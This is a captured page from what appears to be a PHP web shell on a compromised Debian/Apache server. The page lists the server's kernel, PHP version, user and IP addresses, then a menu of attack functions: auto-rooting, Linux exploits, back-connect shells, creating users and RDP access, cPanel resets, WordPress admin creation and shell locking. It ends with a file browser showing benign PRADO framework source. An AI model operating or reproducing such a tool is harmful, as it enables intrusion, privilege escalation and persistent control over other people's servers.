Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
Apache/2.4.59 (Debian)
: 10.2.73.233 | : 3.145.73.167
Cant Read [ /etc/named.conf ]
5.6.40-64+0~20230107.71+debian10~1.gbp673146
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
ifk /
web /
prado4.3.2 /
Util /
[ HOME SHELL ]
Name
Size
Permission
Action
Behaviors
[ DIR ]
drwxr-xr-x
Cron
[ DIR ]
drwxr-xr-x
IBaseBehavior.php
957
B
-rw-r--r--
IBehavior.php
957
B
-rw-r--r--
IClassBehavior.php
1.43
KB
-rw-r--r--
IDbModule.php
959
B
-rw-r--r--
IDynamicMethods.php
618
B
-rw-r--r--
IInstanceCheck.php
1.35
KB
-rw-r--r--
IPluginModule.php
531
B
-rw-r--r--
TBehavior.php
2.41
KB
-rw-r--r--
TBehaviorsModule.php
7.83
KB
-rw-r--r--
TBrowserLogRoute.php
4.75
KB
-rw-r--r--
TCallChain.php
6.08
KB
-rw-r--r--
TClassBehavior.php
852
B
-rw-r--r--
TClassBehaviorEventParameter.p...
1.81
KB
-rw-r--r--
TDataFieldAccessor.php
3.38
KB
-rw-r--r--
TDbLogRoute.php
6.08
KB
-rw-r--r--
TDbParameterModule.php
22.81
KB
-rw-r--r--
TDbPluginModule.php
2.88
KB
-rw-r--r--
TEmailLogRoute.php
3.66
KB
-rw-r--r--
TFileLogRoute.php
4.09
KB
-rw-r--r--
TFirePhpLogRoute.php
2.96
KB
-rw-r--r--
TFirebugLogRoute.php
3.81
KB
-rw-r--r--
TJsonRpcClient.php
2.47
KB
-rw-r--r--
TLogRoute.php
4.82
KB
-rw-r--r--
TLogRouter.php
5.18
KB
-rw-r--r--
TLogger.php
8.32
KB
-rw-r--r--
TParameterModule.php
5.45
KB
-rw-r--r--
TPluginModule.php
4.84
KB
-rw-r--r--
TRpcClient.php
3.91
KB
-rw-r--r--
TRpcClientRequestException.php
590
B
-rw-r--r--
TRpcClientResponseException.ph...
725
B
-rw-r--r--
TRpcClientTypesEnumerable.php
458
B
-rw-r--r--
TSimpleDateFormatter.php
8.86
KB
-rw-r--r--
TUtf8Converter.php
1.34
KB
-rw-r--r--
TVarDumper.php
3.43
KB
-rw-r--r--
TXmlRpcClient.php
2.2
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : TLogRoute.php
<?php /** * TLogRouter, TLogRoute, TFileLogRoute, TEmailLogRoute class file * * @author Qiang Xue <qiang.xue@gmail.com> * @link https://github.com/pradosoft/prado * @license https://github.com/pradosoft/prado/blob/master/LICENSE */ namespace Prado\Util; /** * TLogRoute class. * * TLogRoute is the base class for all log route classes. * A log route object retrieves log messages from a logger and sends it * somewhere, such as files, emails. * The messages being retrieved may be filtered first before being sent * to the destination. The filters include log level filter and log category filter. * * To specify level filter, set {@link setLevels Levels} property, * which takes a string of comma-separated desired level names (e.g. 'Error, Debug'). * To specify category filter, set {@link setCategories Categories} property, * which takes a string of comma-separated desired category names (e.g. 'Prado\Web, Prado\IO'). * * Level filter and category filter are combinational, i.e., only messages * satisfying both filter conditions will they be returned. * * @author Qiang Xue <qiang.xue@gmail.com> * @since 3.0 */ abstract class TLogRoute extends \Prado\TApplicationComponent { /** * @var array lookup table for level names */ protected static $_levelNames = [ TLogger::DEBUG => 'Debug', TLogger::INFO => 'Info', TLogger::NOTICE => 'Notice', TLogger::WARNING => 'Warning', TLogger::ERROR => 'Error', TLogger::ALERT => 'Alert', TLogger::FATAL => 'Fatal' ]; /** * @var array lookup table for level values */ protected static $_levelValues = [ 'debug' => TLogger::DEBUG, 'info' => TLogger::INFO, 'notice' => TLogger::NOTICE, 'warning' => TLogger::WARNING, 'error' => TLogger::ERROR, 'alert' => TLogger::ALERT, 'fatal' => TLogger::FATAL ]; /** * @var int log level filter (bits) */ private $_levels; /** * @var array log category filter */ private $_categories; /** * Initializes the route. * @param \Prado\Xml\TXmlElement $config configurations specified in {@link TLogRouter}. */ public function init($config) { } /** * @return int log level filter */ public function getLevels() { return $this->_levels; } /** * @param int|string $levels integer log level filter (in bits). If the value is * a string, it is assumed to be comma-separated level names. Valid level names * include 'Debug', 'Info', 'Notice', 'Warning', 'Error', 'Alert' and 'Fatal'. */ public function setLevels($levels) { if (is_int($levels)) { $this->_levels = $levels; } else { $this->_levels = null; $levels = strtolower($levels); foreach (explode(',', $levels) as $level) { $level = trim($level); if (isset(self::$_levelValues[$level])) { $this->_levels |= self::$_levelValues[$level]; } } } } /** * @return array list of categories to be looked for */ public function getCategories() { return $this->_categories; } /** * @param array|string $categories list of categories to be looked for. If the value is a string, * it is assumed to be comma-separated category names. */ public function setCategories($categories) { if (is_array($categories)) { $this->_categories = $categories; } else { $this->_categories = null; foreach (explode(',', $categories) as $category) { if (($category = trim($category)) !== '') { $this->_categories[] = $category; } } } } /** * @param int $level level value * @return string level name */ protected function getLevelName($level) { return self::$_levelNames[$level] ?? 'Unknown'; } /** * @param string $level level name * @return int level value */ protected function getLevelValue($level) { return self::$_levelValues[$level] ?? 0; } /** * Formats a log message given different fields. * @param string $message message content * @param int $level message level * @param string $category message category * @param int $time timestamp * @return string formatted message */ protected function formatLogMessage($message, $level, $category, $time) { return @date('M d H:i:s', $time) . ' [' . $this->getLevelName($level) . '] [' . $category . '] ' . $message . "\n"; } /** * Retrieves log messages from logger to log route specific destination. * @param TLogger $logger logger instance */ public function collectLogs(TLogger $logger) { $logs = $logger->getLogs($this->getLevels(), $this->getCategories()); if (!empty($logs)) { $this->processLogs($logs); } } /** * Processes log messages and sends them to specific destination. * Derived child classes must implement this method. * @param array $logs list of messages. Each array elements represents one message * with the following structure: * array( * [0] => message * [1] => level * [2] => category * [3] => timestamp); */ abstract protected function processLogs($logs); }
Close